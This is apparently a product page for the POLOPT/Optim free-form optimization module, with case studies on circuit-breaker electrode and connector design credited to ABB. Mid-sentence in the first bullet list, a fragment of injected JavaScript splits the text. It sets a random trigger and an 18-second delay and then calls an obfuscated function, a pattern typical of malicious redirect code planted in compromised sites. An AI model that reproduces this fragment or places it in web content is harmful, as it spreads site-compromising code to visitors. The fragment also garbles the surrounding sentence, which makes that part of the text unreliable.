DESIGN OF REAL-WORLD ELECTRICAL ENGINEERING PRODUCTS USING FRONT-END 3D SIMULATION & OPTIMIZATION TECHNOLOGIES

POLOPT/ Optim: Module for Free-Form Optimization

Task: Minimize the maximal field quantities appearing directly on the interface between different media (electrode-dielectric) by changing the form of those interfaces.

Main application: Dielectric design of electrical apparatus (breakers, transformers, sensors, …)

  • Improve design to avoid possible breakdowns (breaker, transformers)
  • Make devices more compact andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and secure (all kind of electrical equipment)
  • Increase operational performances (sensor optimization)

 

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POLOPT/ Optim: Module for Free-Form Optimization

Direct Optimization

Case study 1 : Optimization of the shielding electrodes in GCB

  • Automatic creation of the shielding electrodes is achieved
  • The distance between the contacts being on opposite voltage is reduced for 72%
  • On-line control of dielectric criteria guaranties that the breakdown can't appear for the optimal forms
  • The final optimal shape is transferred back to CAD to enable easy manufacturing.
  • The experimental validation of the new optimal configuration is done in HV lab.
  • The experimental validation has entirely confirmed the simulation / optimization output.

Free-form optimization of the shielding electrodes.Dielectric criteria are on-line checked during the optimization process through the post-processing evaluation of the field lines in order to fulfil the required BIL standard.

POLOPT/ Optim: Module for Free-Form Optimization

Direct Optimization

Case study 2: Optimization of exterior connecting parts in three-phase circuit breaker

  • Optimization of exterior connecting parts in three-phase circuit breaker
  • Through an automatic optimization procedure the shape of the most critical parts is changed to provide the minimal field strength
  • The animation illustrates the generation of the optimal form of the connecting parts through an iterative optimization algorithm used in POLOPT/Optim
  • The field reduction at the most critical  position is higher than 40%

Optimization in circuit-breaker design, Courtesy ABB

POLOPT/ Optim: Module for Free-Form Optimization

Direct Optimization

Case study 3: Optimization of the  capacitor head in GCB

  • Optimization of the capacitor head in the generator circuit breaker (GCB)
  • Initial cylindrical form is converted through the automatic optimization procedure to the optimal shape
  • The absolute minimal field strength is obtained thanks to the fact that global optimum is reached
  • The animation illustrates the generation of the optimal form of the capacitor head through an iterative optimization algorithm used in POLOPT/Optim
Optimization of capacitor head in GCB (Courtesy ABB)
Optimization of capacitor head in GCB (Courtesy ABB)

POLOPT/ Optim: Module for Free-Form Optimization, Direct Optimization

Case study 4 : Multi-load optimization of exterior connecting parts in three-phase circuit breaker

  • Multi-load optimization has been performed for three different operations cases: load case 1, 2 and 3.
  • Optimal shape for each load case differ significantly from case to case
  • Optimal shape for one load-case   typically doesn’t correspond to the optimal shape for the another load cases
  • Applying multi-load optimization procedure in POLOPT/Optim it is possible to achieved the optimal  shape fulfilling the optimality condition simultaneously for all three operational conditions

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Multi-load optimization: Generation of the optimal shape for all three loading conditions